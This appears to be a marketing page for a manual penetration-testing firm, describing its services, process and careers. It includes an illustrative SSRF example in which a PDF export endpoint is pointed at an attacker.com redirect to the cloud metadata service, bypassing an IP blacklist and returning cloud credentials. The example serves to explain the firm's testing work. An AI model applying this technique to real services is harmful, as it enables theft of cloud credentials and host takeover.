Scope
We agree on targets, rules and timing, and sign an NDA before we start.
Manual penetration testing that finds what scanners miss.
HAK-MZ is an independent team of security researchers. We test web apps, APIs, cloud and AI systems by hand, and every finding comes with proof and a clear fix.
Research
Platforms we've researched
We've looked for security issues in products from these companies. The full list is on our research page.
Services
What we test
Four areas, all tested by hand. Pick one or combine them for a full assessment.
Web & API
Login, access control, business logic and the APIs behind your app.
Cloud & infrastructure
Your internet-facing systems, cloud accounts and internal network.
Red teaming
A goal-based attack that shows whether your team would spot and stop us.
AI & LLM security
Prompt injection, data leaks and tool abuse in AI apps and agents.
How we work
From scope to retest in four steps
You talk directly to the researchers doing the work, from the first call to the final retest.
Test
We attack your systems by hand, chaining small issues into real impact without disrupting production.
Report
You get every finding with proof, impact and a code-level fix, written for engineers.
Retest
After you fix the issues, we test again for free to confirm they're closed.
Why manual testing
Scanners stop at the first error. We don't.
Two examples where a scanner saw a 400 or 403 and marked the endpoint safe, while a manual test found a critical bug behind it.
Automated scanner
POST /api/v1/export/pdf HTTP/1.1
Host: api.target.corp
{"url": "http://169.254.169.254/"}
HTTP/1.1 400 Bad Request
{"error": "IP Blacklisted"}
Scanner: it sent the cloud metadata IP, got 400 Bad Request and marked the check as safe.
Manual test (HAK-MZ)
POST /api/v1/export/pdf HTTP/1.1
Host: api.target.corp
{"url": "https://attacker.com/redirect-302"}
HTTP/1.1 200 OK
{"AccessKeyId": "ASIA...", "SecretAccessKey": "..."}
Manual test: we pointed the URL at our own server, which redirected to the metadata service. The PDF service followed the redirect and returned cloud credentials.
Impact: Critical — cloud credentials and host takeover
Research
Recent CVEs
Vulnerabilities from our own research. Some details stay private until disclosure is appropriate.
Publications
Write-ups & Methodologies
In-depth vulnerability breakdowns, exploit chains, and manual offensive testing workflows.
Careers
Want to work on real targets?
We're looking for researchers who find real bugs. We care about your findings, not your certificates.
Contact
Ready to test your systems?
Tell us what you'd like tested. A senior researcher replies within 24 hours.